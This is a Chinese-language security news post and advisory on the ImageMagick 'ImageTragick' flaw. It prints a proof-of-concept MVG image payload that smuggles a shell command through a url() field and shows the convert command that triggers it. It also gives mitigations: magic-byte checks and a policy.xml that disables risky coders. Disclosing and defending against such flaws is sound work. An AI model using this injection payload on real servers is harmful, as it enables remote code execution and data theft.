ImageMagick是一款广泛流行的图像处理软件,有无数的网站(国内国外都有)使用它来进行图像处理,但在本周二,ImageMagick披露出了一个严重的0day漏洞,此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。
在这个安全漏洞公布之后,这一漏洞的EXP也随即被发布,并被命名为:ImageTragick。漏洞的EXP已经通过邮件和论坛广泛传播。
ImageMagick被许多编程语言所支持,包括Perl,C++,PHP,Python和Ruby等,并被部署在数以百万计的网站,博客,社交媒体平台和流行的内容管理系统(CMS),例如WordPress、Drupal、Discuz!。
该漏洞的利用十分简单,通过上传一个恶意图像到目标Web服务器上,攻击者就可以执行任意代码,窃取重要信息,用户帐户等。
换句话说,只有采用了ImageMagick,且允许用户上传图像的网站,才会受到影响。
漏洞利用:
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg“|ls “-la)’
pop graphic-context
将代码保存为任意的扩展名,例如expoit.jpg,然后通过ImageMagick去运行它
convert exploit.jpg out.png
此时,ImageMagick就会去执行嵌入的代码/命令:ls -la命令。
漏洞防御:
1.在上传图片时需要通过文件内容来判断用户上传的是否为真实图片类型,即:检查文件的magic bytes。Magic bytes是一个文件的前几个字节,被用于识别图像类型,例如GIF,JPEG和PNG等,这样,才能准确判断是否为文件图片。
2.使用策略配置文件来禁用ImageMagick的有风险的编码器,可在 “/etc/ImageMagick/policy.xml” 文件中添加如下代码:
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL">
<policy domain="coder" rights="none" pattern="URL">
<policy domain="coder" rights="none" pattern="HTTPS">
<policy domain="coder" rights="none" pattern="MVG">
<policy domain="coder" rights="none" pattern="MSL">
</policymap>
此时,若再运行:convert exploit.jpg out.png,就无法再执行ls -la命令了。